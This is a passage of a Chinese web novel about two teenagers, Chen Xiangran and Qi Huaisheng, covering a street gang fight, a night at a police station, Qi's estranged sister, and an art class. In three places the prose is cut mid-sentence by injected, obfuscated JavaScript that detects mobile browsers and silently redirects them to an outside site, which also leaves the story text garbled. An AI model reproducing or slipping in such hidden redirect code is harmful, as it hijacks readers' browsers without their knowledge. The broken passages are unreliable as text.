“我去拿。”齐怀生起身去厨房，拿了一罐牛奶。又想起了什么，把牛奶放回去，到门口鞋柜上拿来一袋猫粮和猫粮碗，给这位倒地装死的爷倒上。 “回校后，不要提起她认识我。” 陈向然知道他在说叶知。 “为什么？” “对她不好。”猫跳起来就猛吃，齐怀生伸手拨动碗里的猫粮，还差点被咬一口，“你也一样，不要和人提起我们。” “那她……” 陈向然正要问她是谁。心想叶知就是叶知，并没什么可问的。但又耐不住心里的疑问——她究竟是怎么进来的？ 但齐怀生已经起身去了浴室。关上门，门里哗啦啦响起喷薄的水声。 林岚终于在第五天打来电话，说她到家了，等他回去。 她的项目似乎谈得比较顺利。陈向然回家时她只是笑脸相迎，全然没提年初一那天微信里接二连三的询问和恳求原谅。有一瞬间，陈向然觉得他们好像又回到以前一家三口时的日子，只是饭桌上留下的一块虚空，至今都没有人来填补。 林岚说给他带了新年礼物，掏出一本新出的套卷，数理化都有。说刘永凡这次期末前大量刷了这套题，才能甩开他那么多分。说完她又道歉，说这次新年又没能陪他，还给了一个厚厚的红包。 陈向然收下一袋子套卷，和快要涨破的红包，都没有拆开，默默放到一边，埋头吃饭。 海中的传统，开学必有开学考。 窗外鸟儿晨鸣。随着广播里一声“开始答卷”，教室里哗啦啦翻过倒扣的试卷本，笔尖隔着纸张“笃笃”叩击桌面。 考试是分四天考完的，占用了放学的时间。于是陈向然等到周五当天才跑出校门。 傍晚的后街，他穿梭在人流中，经过逐渐热闹吆喝的小摊店铺。找了两个酒吧，齐怀生都不在。 最后几乎是迎面碰上他的。 在山下的石川县城，临近老市区，连绵的那一片破旧的骑楼。老街尽头送来的夕阳余晖是轻薄的、暖黄的。这里人多，光景柔和，柴米油盐的气息更浓。 陈向然沿街走过。镇上的小学生从颤动的校车上走下来，叽叽喳喳追逐拉扯，跑进骑楼的架空层。凉茶铺老板起了炉灶，面食店的用擀面杖敲打面团。巷路里，自由市场的地面污水流动。人群来往，踩过糜烂的菜叶。 齐怀生就在这时，骑着那辆红色电动车，看见陈向然，在街边成排成列的停车区停下，摘下头盔，甩甩贴在头皮上的头发。 鸟儿沿着低矮的电线往下跳。有一只麻雀跳到他的摩托车把上，看了眼后视镜里的自己，吓得扑棱棱振翅飞走。 “挺早啊。”他望了一眼掠过的雀群，“刚想去你那。” “是你晚了。”陈向然反驳。 “对，今天拖堂。”他半坐在电动车坐垫上，拍拍后座，“怎么样？想画画，还是去哪逛？” “想你去补习。”陈向然拿出一叠红钞，往他手心里塞，“可以满足我的要求？” 齐怀生眉心肉眼可见地揉到一起了。他知道齐怀生就是这样，倔强地不想接受所谓的“怜悯”。但他心里就是不踏实，非要再试上一试。 “等你爸不回来查岗了，再还我，一样的。” “我说过了，不用。” 他看出齐怀生今天不知什么原因状态不对，压抑着情绪，身上有淡淡的烟味。他把钱塞回陈向然的口袋，不让拿。 上回陈向然刚给齐怀生做过一张信海的卷子，分数不理想。在石中做惯了基础卷，连齐怀生也没想到自己构建的应试体系那么脆弱。 他快高三了，他必须依靠补习。 “你选石中是为了不读书吗？”陈向然转开脸，说着气话，“现在不学，高三来不及了。有多少人从高一就在拼。” “嚓”一下，齐怀生点了根烟。 他转过头，吐出一口白雾。风把他的头发吹得凌乱：“还有人从幼儿园开始呢。世上不只有读书一条路，对吧。” 陈向然没想到他会说这样的话。 “可所有人还是要走同一条路。” “那我就找别的路。” “别的路是什么？” 别的路是什么呢？陈向然在期待齐怀生给他答案。就像他的母亲问他想成为哪一个流浪汉时，他说他不想流浪一样。但齐怀生没有回答。 “你不讨厌你们学校把人训练成机器么？”他反问，“行了，我又不是不读书了。我不会接受。” “可是——” “生哥！” 一辆黑色电动车“突突突”驶来。 陈向然伸伸脖子看去，骑车的是大块头何晋，他在自行车和摩托车流里歪来摆去地穿梭，熟练开到他们面前，一个拐弯钻进一个停车位，鱼一样滑溜。 “小向然也在啊，来给我们生哥补课呢？”何晋笑嘻嘻说。 陈向然回以笑容，他挺喜欢这个憨厚的大高个。 齐怀生觑他一眼：“有话就说。” “又打起来了。”何晋指着某个方向，“花鸟市场那边，红毛曾壬那些狗逼，来挑衅来了。” “他们哥叫的？” “不是。这回是申恺绷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301949|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不住先动手的。”何晋将车头一拐，启动引擎，“快点儿啊生哥——噢，小向然怎么办呢？” 陈向然看看何晋，又看看齐怀生，执拗地跨上了齐怀生的小电动。 花鸟市场混乱不堪。 两方人马混在一起斗殴，木棍、水管、焚烧桶的铁盖四处乱飞。他们一边揪着对方的头发、殴打对方的脸，一边用粗鄙难听的小镇方言问候对方全家。附近的小摊贩匆匆挪移摊位，还有人经过围观，举起手机拍一段短视频。 其中有个戴草帽的大爷，上前喝骂了半天。这些少年全当没听见，野狗一般依旧滚在地上粗糙的碎砂里，灰头土脸。 陈向然他们赶到时，两边都快没力气了，躺在地上、墙根、扶着肮脏的垃圾桶。只有申恺和红毛垂着双臂，勉强站着，像两只兽群之王，死盯着对方不放。 齐怀生跨下车，上去就拉走申恺，其他人见状纷纷从地上爬起来。老大来了就是不一样，士气涨了，又掰着手腕要收拾他们。 齐怀生喝道：“都给我消停！” 所有人立住，悻悻后退。 申恺脸上都是血，大部分是对方的。他胸口急速起伏，张大嘴巴断断续续呼吸。 齐怀生拎扯他的衣服：“又撩架？” “他先撩的。” “不是你先出的手？” 申恺看了眼何晋，明白自己被出卖了。 “他……”他指着红毛，深呼吸，吞了口唾沫，“又欺负小叶。” 陈向然正想着小夜是谁，就见齐怀生脸都冷了，低声问他：“人呢？” “走了。都弄哭了。” “恺哥你何必呢？”何晋喷着气音，陈向然只能听见断断续续的字眼，“他们就拿她戳你和生哥肺管子。” 他把申恺扔给何晋，转身面对红毛。 他目光极其阴沉，红毛的脸都绿了：“干什么？看老子干什么？” “是真的吗？”齐怀生的声音一冷下来，浑身都是狠厉的压迫感。 “真的又怎样？”红毛瞪着一双鼠眼，讥笑道，“我们就逗一逗漂亮妞。她是你谁啊？这你都管得着？” 齐怀生一句话没说，拉了跟木条子就走上去。其他人大多瘸了腿，跑不动了，在地上七歪八扭地蠕动。红毛退了一步，又退一步。 眼瞧齐怀生要挥动木棍——他实则还没出手，红毛便大吼一声抱住他的腰，脑袋顶住他的胃部向后猛推。十米外有个消防栓，撞上去得断两根肋。齐怀生退了七八米便站定了，一膝盖顶上他的肚子，紧接着目露凶光，冲他背上轰一闷棍、顶他下巴再朝肚子上补踹一脚。行云流水，丝毫不留手。 对面摔出去，“咚”撞翻一个鱼缸。卖观赏鱼的阿姨惊叫一声，跳了起来。鱼缸碎裂，有的鱼当场死亡，有的还在一地碎石子里跳动。 “你们这些人啊！”阿姨暴跳如雷，指着他们谩骂。 红毛湿了一身，墩坐在地上，眼睛被水渍糊住了，左右摸着什么可以扶着站起来的东西。齐怀生走上去，木条另一端在地上拖出沙沙的威胁声。他紧盯着眼前的对手，抬起棍子准备再给一下…… “陈向然？喂。” 他猛一住手，棍子悬在半空，回头，身后的兄弟们早就围成了圈。他透过缝隙看去，陈向然正埋着头，揪扯自己的头发。齐怀生一下把棍子抛上了路边的雨檐，钻过人群，紧紧抓住陈向然的手。 “陈向然，怎么了？说话！” 31. 叶知 玻璃碎裂的一刻，幻听前后持续了半分钟，陈向然隐约听见呼唤，强迫自己安静下来。 是幻觉，全是幻觉……他提醒自己。 “陈向然，看着我。” 沉着有力的声音闯进他的世界，割裂了那片神秘的幻境。他清醒过来，眼前出现一张惊慌的脸。他的两个手腕都被锢住，才没有继续抓自己的脑袋。 看清眼前是齐怀生，紧绷的神经放松下来。他没有抽出手，只是轻轻地垂下：“没事了。” “真没事了？” “没事。”陈向然重复。 这个时候，派出所民警来了，是那位卖观赏鱼的阿姨当场报的警。 入夜，寒风呼啸，派出所灯光煞白。 一群人分成泾渭分明的两边，排排靠墙站。一个面部黝黑的中年警察走进来，手里捧着保温杯。他喝了口浓茶，一看见他们就把脸皱成黑枣。 “又是你们，啊。”都是老熟人，他大概习惯了，扫视了一眼，话里透着无奈，“玻璃缸，谁弄的？” “他！”申恺带头，其他人随后，纷纷指向红毛。 红毛垂着头，佝偻着被齐怀生打坏的背，脸上的青紫在白光下颜色更深了。 “赔完钱才能走，听见没？”警察点了下他的脑袋，“外面那三个呢？” “他们没参加。”申恺擦了把嘴角凝固的血，立刻辩驳。 红毛不乐意了，上去揪住申恺的衣领：“操？我背上这块，是齐怀生打的吧？” “你他妈先推的人，我哥是正当防卫。”申恺揪住他，怒目而视。 眼看两边撩火，又要打起来，警察上去就把他们拉开。 陈向然晕乎乎地被齐怀生带来了。里面喋喋不休地吵闹，他坐在外面的等候区里，头垂得很低。 身后的方窗镶着栏杆，把月亮分隔成几块。 齐怀生说要送他回去，他便乖乖等着。他在齐怀生脸上看到担心，这个人一贯的沉着不知道什么原因被打碎了。 陈向然想，是因为叶知么？ 看来是他很重要的人。 里面的民警还在训斥，申恺没有停止和对方唾骂，听声音像是踢翻了一张很重的扶手椅，陈向然被一瞬间的“咣”震得眯住眼睛。他听见红毛说“我抓的就是那小骚货”，紧接着两边似乎又打起来了，民警大喊：“都给我坐下！”。 他抬头看齐怀生，细碎的刘海在他的眉眼投下阴影，他紧紧抿着唇，看着那扇门。门留了条缝，只能看到民警大叔宽大的背影。 外面很安静，偶尔有警察“咚咚”踩着厚鞋底走过。 有人像是不愿破坏这样的静谧似的，跟陈向然说话带着吐息声：“来，先吃点东西。” 一阵香气飘来，陈向然面前递来一个鸡蛋饼。何晋不知何时跑去外面买了些热食，除了鸡蛋饼还有烧麦、饺子，透明的塑料袋上氤氲着雾气。 陈向然晚餐没吃就跑出来，早就饿了，说声谢谢就开始吃起来。何晋也递了一袋烧麦给齐怀生，但他神色冷峻，一动不动地盯着里面的情况，尽管他什么也看不到，徒余灯光把他的脸照得煞白。 “咱们先走吧，警察说了，和我们没关系。”何晋顿了一顿，又安慰似的补一句，“恺哥会理解的。” “不行。”齐怀生稍稍松了拳头，“得把事情了结。” “那我先走了。还有明天要交的作业没写。” 何晋放下一整大袋吃的，只拿走一个煎饼，用齐怀生听不见的音量问陈向然：“要我送你回去？” 陈向然看了眼齐怀生，而后对何晋摇摇头说：“不用了。” “那你一会儿让他吃点啊。他中午就没吃东西，那些人啊……”他指指里面，“也不知道什么脑回路，想到趁他中午没吃饭打他。在校门口打，被我们学校保安抓了，训话训了一中午，刚放人就上课了，午饭就没吃着。” 陈向然眉毛一耸：“抓了？” “啊，不然你以为，他咋那么晚放的学？是又被叫去谈话了。谈完说跟你约好了来不及了，得走，晚饭也没吃上。”何晋轻轻笑了声。 陈向然咬煎饼的动作顿停，垂落的视线缓缓抬起，瞄了一眼齐怀生的背影。 “吓着了吧？”何晋憨厚地笑着，好像对这种事很习以为常，“我们这些人就这样儿。而且生哥……当初对外说他是这片区老大，有个龙头，是为了让那帮社会人老实点。但就是这红毛小子，被他打了不服，盯上他了。到酒吧、校门口拦他，阴魂不散。唉。”他拍拍那袋热食，“你记得，叫他吃东西。” 陈向然默默点了点头，站起来送何晋离开警局，看他突突突开着小电动隐没在夜色中。 他囫囵吃了整个鸡蛋饼，塑料袋卷起来扔进角落的垃圾桶。 他转身，站定望去。 走廊那么那么的长，齐怀生就执拗地站在尽头，面对那个房间，侧身投下长长的暗影。 他默默走到齐怀生身边，扯了扯他的衣袖：“怎么了？” 齐怀生看一眼扯衣袖的手：“没事。” “是因为叶知吗？” 齐怀生缓缓回头，他的头发在刚刚和红毛的对抗中被揪扯，没有打理，凌乱地撇在额角，遮去半只眼睛。他僵了一下唇，似乎在考虑该不该说。 “她是你的谁？” 齐怀生说：“我妹妹。” “妹妹？” “嗯，同父母的。” 同父母的亲妹妹，陈向然抬了抬眉：“没和你一起生活？” 齐怀生还没说话，里面又嘶吼起来，申恺在和民警告状，说这不是第一次了。对方为了挑衅他们总在街上拦截人女生，威胁、动粗。申恺今天脾气极大，红毛偏逮着他的怒点，笑着说：就许你天天找妞，还不让老子泡一个啊。 “你他妈讨打！” 轰隆一声，屋里又爆出响动，和民警的怒喝。齐怀生站在那，很用力地、深深吸了一口气，背影都微微颤抖起来，再吐气时才慢慢平静。 他走去外面，又点了根烟。 陈向然跟他到门口，扶着冰凉的拉闸门看着他。 他在路灯下吐出大串大串的烟雾，身影又长、又薄。陈向然不是第一次看到他一个人，在昏黄的光下，孤独的样子。 “她和你说过什么吗？”齐怀生问。 陈向然说：“我？” “对。”他转过身来，路灯把他脸上的阴影加深了，“你们同班吧？” 他想起叶知频繁出校，特别在齐怀生受伤那段时间，总贴着晚自习的最后一道铃声进教室。每次在校外见到她，都是往山下的方向。而信海的学生，没有人会走到这陌生又不安全的深处。 “她没和我说什么。”陈向然犹豫了一下，还是说：“但我看到她有伤，还没好又添新的。我问了，说是桌角磕的。” “能替我说她两句么？”齐怀生吸了一口烟，浓雾氤氲在灯光里，“告诉她，别再从学校里出来了，我他妈不想见她。”他暴躁得踢了地上的石子。 “她可能很想见你。” “她身体不好，本来就不该到处瞎折腾，见我有什么好？” “她没什么朋友，还有些欠的招惹她。”陈向然从台阶上下来，走到他面前，“但还好最近有个男生，一直在保护她。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301950|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>齐怀生眉头都皱起来：“这次又是哪个？” 听他这么说，叶知以前也没少被男生盯上，或善意或恶意。好像美丽也成了一种困扰。 “放心，是个仗义家伙。” 一时半会等不到警察处理完那些混混，他们便在派出所门前徘徊散步。 齐怀生说，母亲去世后，叶知被送给了姨妈家，户口迁移了，姓氏、名字也变了。姨父是个有钱商人，好吃好穿都给着，供她去信海。叶知上小学那会儿他们就有了个亲生儿子。一家子对叶知不差，只是一直很客气。 “所以她还是跟你亲。”陈向然说，“要是和你一起生活，可能……” “不可能。”齐怀生打断他，“我姨父不让她和我们多见面，因为是他家的人了。其实还是担心叶知以后不孝敬。她有一回出走，来找我，被抓回去之后饿了一顿。我姨妈拦着，没让她饿过傍晚。” 陈向然想到叶知总不与人交流，一个人躲在角落里，与书籍为伴。“你想她好好的。”他说，“可是她没有你们或许不太好。” “没有办法，我不能连累人。”齐怀生平静地述说着，声音依旧像深井中冰凉摇曳的水，吸一口烟，这已经是第二根烟，只剩下半截，“八年前，我没有察觉我妈生前异样。去年，我爸再出海是为了我。现在她被盯上也是因为我。那些人本是针对我，如果她不来给我送东西这群畜生不会知道……” 他忽然不说了。 他好像本来只想说两句无关紧要的话，语速却越来越快，说到这喉结一动，没有再说下去。手里的烟很轻地在抖，沉默数秒后，只叹出一口气。 寒夜的雾气裹着袅袅白烟，散在呼啸的风里。 他调整好呼吸，说：“我应该自己解决这些，我不想再面对这些事时这么的……”他暗暗攥拳，“这么的无力。” 风又大了。 他们走回派出所里避风，坐在等候区，肩挨着肩。陈向然趁机劝他吃点东西，他才勉强吃了几个蒸饺。 刚吃完，又一拍脑门：“我给忘了，先送你回去。”说完责怪他：“怎么不说话？在这干等？” “你留下吧。”陈向然摁住他拿钥匙的手，“我走回去，还来得及。” “答应你了，就送，别废话。”他把何晋买的整袋吃的都塞他怀里：“还温，赶紧吃了。” 陈向然没有反驳的余地，被拉到电动车旁。手里提了吃的，齐怀生便给他戴头盔，“咔哒”系好：“你感觉怎样？” 他一下没反应过来，几秒后想起自己今天在花鸟市场的狼狈相，扯了下嘴角：“没事儿。听到点东西。” “听到了什么？” “玻璃、水，还有……鲸鱼。” “你怕它么？” 陈向然沉吟良久。 说不上害怕，但时间长了便觉烦躁。只在齐怀生这能获得一刻安宁。 他摇摇头。 “试着接受它。它可能就慢慢消失了。” 齐怀生回想起何晋的话。 注意作息规律，不要对自己太苛刻，最重要的一点是…… 远离影响源。 “今天我态度不好。”齐怀生拍拍他的臂膀，“补习我当然会赶上——” 陈向然伸手去掏口袋里的钱。 “——但不是现在。”他说，“你别寄宿了，午自习也撤销。” 陈向然塞口袋的手顿了一下。 派出所门口静谧得只剩风声。 “以后光明正大地出来，晚上就在我家睡，早上也能多睡会儿。”他很得意似的，像是发现一条无人知的秘境小路，“你看怎么样？” 32. 申恺 这样的提议，比除夕夜在外通宵还让人难以消化。 信海地段偏远，学生大多住在新老市区，哪怕住在石川镇，上学来回也有够呛。 况且一学校的学习狂魔，并没有人愿意浪费时间在上学路上。走读这种选择，换谁都得犹豫。 他还没反应过来，两道金黄光束忽地从暗巷里刺来。一个女人骑着摩托，拐进派出所的墙角，“噔”打了脚撑，熄了引擎。 路灯昏暗，女人隐没在黑暗里开后箱，摘头盔。踩着噔噔响的高跟鞋，终于走到派出所门口的挂灯下。 陈向然看清他那张约莫三十几的脸，和嘴里叼的半截烟。她身量不算太高，却穿着修身的包臀裙，显得身材修长。她画着红唇，后脑勺网一个簪，提着着一个小小的斜背包，背带上的链子哗啦、哗啦地响。高跟鞋咚咚叩地，利索地踩上派出所门前三级阶梯。 “蓉姨。”齐怀生叫住她。 女人听到声音，高跟鞋的叩响骤停，转过头来，眯了眯眼才看清：“啊……是阿生啊。” 她完完全全站在光下，陈向然才看清她整张正脸，实则大约有四十岁。 “您怎么在这？” 蓉姨手里夹着烟，从台阶上走下来，离他们近一些说话：“警察通知我来。” “申恺在里面。”齐怀生指指走廊的方向，“进去右拐。” “又惹祸了？” “申恺为了我妹妹，和人打架，伤得不轻，您看看——” “保护好你妹妹，别被这小子骗了。”蓉姨吸了一口烟，一口轻烟袅袅直上。 陈向然愣了一下。蓉姨不像是客气，而是真的在忠告齐怀生。她是申恺的家人，不着急申恺，而这么说，仿佛有种胳膊肘往外拐的意思。 也或许，连家人也对申恺很失望。 “您客气了。”齐怀生将刚戴上的头盔摘下来，露出面无表情的脸来，“申恺只是仗义。” 蓉姨闻言笑了，笑声冰凉得扎人。她一边笑，一边垂着视线，烟吸了一口又一口，很快只剩下烟头：“他像谁你知道么？”她朱唇微弯，目光灼灼，“他仗不仗义，我能不知道？”说完，她叩着高跟鞋走进派出所。 齐怀生拍拍他的头盔：“等我一下，很快。”而后小跑两步台阶，进了派出所。 陈向然亦步亦趋地跟到门口，没有再进去，只往里面看。 分明是来派出所这种地方，接自己闯了祸的儿子，这个蓉姨却保持着参加舞会一样的姿态。有民警过来指引她，她便握着民警手说你好，连连夸赞对方的外表和工作。直到民警被膈应得打断了她。 她便咯咯笑，笑声和方才的苦涩不同，像凉夜里被微风拨动的莲池，月色下荷叶轻摇、十里花开，倒可以用风情万种来形容。 齐怀生赶在蓉姨之前冲进了房间。两方人斗累了，屋里已经彻底安静下来。头顶日光灯黯淡发青，其他人在地上横七竖八躺着睡着了，只剩申恺靠着墙，垂头盯着地板，刚被教导主任提醒过的头发遮住了侧脸。 齐怀生走过去拍拍他：“什么情况？那伙人呢？” “跟警察查监控去了。查出来，至少拘个留。”申恺抬起脸，一边眼眶微微红肿，脸上的伤隔了一个小时渐渐显出瘀色，血凝成了红黑色，在灯光下触目惊心。于是他勾起一边嘴角时，表情有些歪斜，“齐怀生。” 每回他称呼全名，齐怀生就知道他要说认真话：“怎么？” “你等了一个小时，这是你要的结果吗？” “不然呢？” “出来以后呢？”申恺要笑不笑地看他。 他没想过。 谁也想不了以后的事，他只能想着在今晚先把他们送进去。 陈向然在窗外，背靠着墙，默默听着。 齐怀生究竟无形中在和什么东西做着斗争。他那么要强，原来是因为他总是在面对一些不该他面对的事情。齐怀生是下了多大的勇气，对他有多少信任，刚刚才愿意在他面前这样撕开自己。 他曾经想尝试他们三五成群寻欢作乐的热闹和自由，可原来人一转身，就是孤独和一地狼藉。 下一刻，申恺不经意间偏了一下视线。蓉姨从门口走进来，与他隔着长桌正面对照。她脸上的任何表情一瞬间化为乌有，只剩下空白。 女人没有责骂他，也没有慰问，她涂了红指甲油的手指从包里又捏出一根烟，跟齐怀生借了个火。低头一声叹，轻烟吐出，身心舒畅。 “又被抓了呀，申恺。” “啊。”申恺打量了她几眼，“嚯，你来干什么？” “啧，打个架都被抓。这么没出息了，就别说你是我儿子。” 申恺“呵”一声笑：“我从来没说过你是我妈。” 女人突然就笑了，像是听到什么笑话一般：“那警察怎么找上我的呢？” “谁让你是监护人呗。人一查就中，对吧？我说我是孤儿他们不信啊。”申恺也跟着笑。 母子不明所以地笑在一起，整个房间充斥着他们的笑声。他们长得那样相似，连大笑里带着冷涩的表情都一模一样。母子间的气氛有种诡异的欢乐。 陈向然在窗外看到这一幕，也看见齐怀生从现场离开，便小跑着回到电动车边，装作什么也没瞧见。 齐怀生开得很快。头顶圆月星空，他一转车把，加速穿过骑楼林立的港口老街，在机动车中间鱼一样闪转腾挪，赶着绿灯的最后两秒“蹭”地驶过十字路口。转向灯响了两下，便拐进西北向的马路。 陈向然把脸埋在他后背上，躲避飞刀一样的夜风。 “那是申恺他妈妈么？”他忽然问。 “对。”齐怀生的声音混着呼呼的风，“怎么啦？” “我看她……都不到四十吧？好年轻，不像是有这么大孩子的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301951|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是挺年轻。”齐怀生又打了个弯，绕过石川中学，进入那条熟悉的街，车速才慢下来，“申恺说，他妈妈是年少失足有的他，但从他记事起，好像就没怎么管他。” 陈向然没有出声。 “他自己不太介意，我们问，他就说。倒是他妈妈讨厌他提这个事，所以母子关系一直这样，冷嘲热讽的。申恺现在，想去哪逍遥就去哪逍遥，自在得很。我跟老何不说他，他就飘。” 车开到学校后山围墙，时间正好。但教学区依然提前进入肃穆的气氛。空气冰冷，头盔的挡屏起了雾气。陈向然摘下头盔还给齐怀生，甩甩被压扁的头发。 他踩上墙根下的大石头翻墙。 “你想好了吗？”齐怀生问他。 他正在拔除那些松动的玻璃碴：“什么？” “取消寄宿。” 陈向然停下手里的动作。 他缓缓回头，看着齐怀生的眼睛，微微一笑：“生哥怎么回事，老想收留我。” 齐怀生僵了僵表情，视线晃悠悠地，放在墙边一株无关紧要的草上，不一会儿，颔首笑道：“那我收留你，你来不来啊？” “来。”他没有继续拔玻璃碴，从石头上跳下来，从兜里掏出那一个学期的补习费：“但你得收下这个，好好学习。” 齐怀生看了那笔钱很久，两手插在兜里，不愿伸出来。他凝眉看向巷外的路灯，飞虫倔强地嗡嗡撞击灯罩。 寒风穿巷，扬起他的头发和衣摆，他犹豫地、缓慢地伸出手。 陈向然欣喜地把钱往前送，送到跟前。 却被一下摁了回来。 “不用这么帮。”他说，“能不能空出些时间，帮我整理一下你们学校试卷的答案。我每次做完都等你的解析，等很久。” “你不早说。”陈向然把钱收起来，“行，只要我每天去你家，就能好好给你讲。我们有的是时间……” 他话到一半倏然一顿。 齐怀生这个“奸商”，不过是用另一种方式引他“入瓮”罢了。 翻过墙后也不急着回教学楼，还有点时间，他散步一样很慢地走着，在这寂静无人的山坳里摁着手机。 聊天窗顶部是“熊大”，陆引教授。 [熊大]：可以的话那太好了。真的，陈向然同学，你要是放弃那太可惜了。 [熊大]：那你打算什么时间来上课呢？只有周六的话恐怕要落课，要不再安排工作日的晚上过来，我给你单独补进度。 [然]：还是原来的时间就好。 [熊大]：那你的比赛？ 陈向然打出“我放弃比赛”几个字，英勇就义一般。点发送的一刻心里一紧，还是怕了。 山风吹拂，宿舍区的路灯没有人修缮，像鬼火一样不时闪烁。晚自习的第二道铃声这时候响起，高高低低的音波在山上飘荡。 他删去了那行字。 33. 异样 陈向然走进陆引的画室。 画室里人多，却寂静。只听到有人擦拭画具的声音。还有角落里某个位置，颜料和画布摩擦发出的粘稠声。 画室里气氛诡异，所有人纷纷投来目光。只有程希顾着和他勾肩搭背，把他拉到空了一个多月的那个座位上。 大家几乎只看他一眼，便收回视线，专心在今天的临摹上。也有人不解、好奇，目光一直跟随到他的座位上。还有的人分明看着他，却要装作不经意——被人称作“熊二”的那个学生在角落里，鬃毛笔尖轻轻离开画布，粘稠的颜料便挑起一个尖锥。 他的视线从黑框眼镜的角落偷偷瞄向陈向然，脸被阴影遮去了一半。 “熊二”大概很早就过来练习了，脚边堆满废掉的纸团。一团又一团，五颜六色，有种眼花缭乱的浮躁。听程希说，他近来状态不行，每次课都要被陆引批评指正，可他还是一次比一次画得差。 陈向然放下书包，将一个多月前拆除的画架重新支起来。 “过来，陈向然。”陆引冲他招招手，顺道冲其他人说：“今天临摹花卉，真假向日葵大家挑一个临，有余力的也可两个一起画。” 陈向然单独随他到里间。 灯光暖白，吊灯上的图案在地上映出影子，是一只振翅的蝴蝶停在石头上。他记得上回并没有这样的影子。抬头望去——有人在灯罩里画下了这只蝴蝶，下方也并不是石头，是画了一半的花。 他往前移步，踏入四面泼彩的绘画区，被满墙、满地和天花板上的朱红、宝蓝、莫奈灰、木槿紫包围，一滴没有凝固的中铬绿在墙角往下流了一寸。 他的花蝶画被重新挂在这个画架上。 “来。”陆引关上房门，拉过电脑桌前的转椅，推到他旁边，瘫坐下来，“说说你的构思。” 相隔如此之久，陈向然早不记得什么构思。但再看到这幅画的时候，他还是能回想起当时的窒息感。花园和阳光的明媚，钳住了蝴蝶脆弱的翅膀。 他只能没头没尾地说：“只是觉得……我不想被带着走。那天临摹的也是花卉，所以想到了花园。” 陆引从靠背上翻起，肘子架着膝盖，引导般地问：“不想被什么带着走？” “蝴蝶和花园确实是绝配，但也挺没意思的。也许蝴蝶也想出现在别的花园，也许有更适合它的地方，也许……花园对它来讲并不是‘正确’的地方呢？”陈向然说罢，看着陆引。 颠来倒去，他也不晓得自己在说什么，但陆引很认真地回以目光。那是陈向然很少在林岚眼里看过的目光——也许齐怀生也曾这么看着他——一种充满肯定的平视。 他到底还是少年，还是那么需要这样的目光。 “这只蝴蝶很有勇气。”陆引说，“所以你打算像它一样，完全舍弃花园，选择更适合的地方吗？” “嗯。”陈向然调了些许颜色，添上几笔，补上蝴蝶的另一半翅膀，变作站立在花瓣尖端振翅的、完整的蝴蝶。 “有代价吗？”陆引隐隐担心了一下。 陈向然笔尖离开画布，想起今早在音乐教室…… ——“陈向然，你想好了？” ——“这是浪费名额的行为，既然你不想参加，当初为何要报名呢？知不知道，有多少人想要参加省赛的机会？” ——“真背了处分，学校不给取消的。” 音乐老师的施压是有那么些效果，临到头，他还是懵了。可等到他清醒过来，他已经从政教处走出来，走进室外的阳光下。 他以前似乎没有发觉，山里的空气如此清新，阳光落在手心里，是一种蒙亮、温暖的白。经过广场宣传栏，他看见玻璃上自己的影子。嘴角是上扬的。原来自己在笑，连眼角都是柔软的。 有些时刻，想起档案里背着这么个处分，也隐隐担忧会失去前方多少机会。可想到不这么做只会失去眼前更重要的机会，他便认了。 这大概就是人生的所谓选择。 “没事，我都决定了，陆老师。”陈向然放下画笔和调色盘，“专心培训就好。” “好。”陆引猛一拍大腿，“不愧是我未来的弟子。” 陈向然笑笑，嘀咕道：“我还没答应……” 还有另一个选择。 齐怀生回回都把他猜透了，一步一步引他入瓮，让他为了给他解答题目，更加心甘情愿地递撤销申请。于是他几乎是在心里骂咧咧地填写申请表，“啪”地放下笔，倏然吓断身旁碎碎念叨竞选稿的刘永凡。表格交给了生活委员，和那些周末留宿申请表叠放在一块。 只需等申请批下来，他就可以搬进齐怀生家了。 这些天，学校的风纪委员会换届，要选出新的会长上任。这个风纪会长的职位，上任了相当于自招校荐信唾手可得，于是刘永凡这几天难得没有当做题机器，转而写竞选讲稿，写完了就在一旁碎碎念，牟足了劲一般。 陈向然不参与这种竞争。但他总能观察到些什么，被某种暗流涌动的争抢和焦虑感染。 比如傍晚的后街，偶尔会看到参加学生会、组织竞选的学长学姐们请指导老师吃饭。比如高一的竞选者，永远开着玩笑说，不过凑个热闹罢了、绝对不可能选高一。实则个个都是“刘永凡”。 肥肉一块，群狼窥伺。 “号外号外，风自委会长换届了，下周开始没有午自习了！” 夜风肆虐，整个宿舍区的摔门声此起彼伏。程希刚喊完消息，栏杆上晾晒的脸盆就“咣啷”被风刮下了楼。 “卧槽！”他抓住栏杆往楼下望去。脸盆正掉在楼栋和后方围墙之间。 这角落就刚好留下这么条路，能通人。放置了一些废弃的课桌椅、单双杠、乒乓球桌，却没有任何有用的设施，平时完全没有去那里的必要。 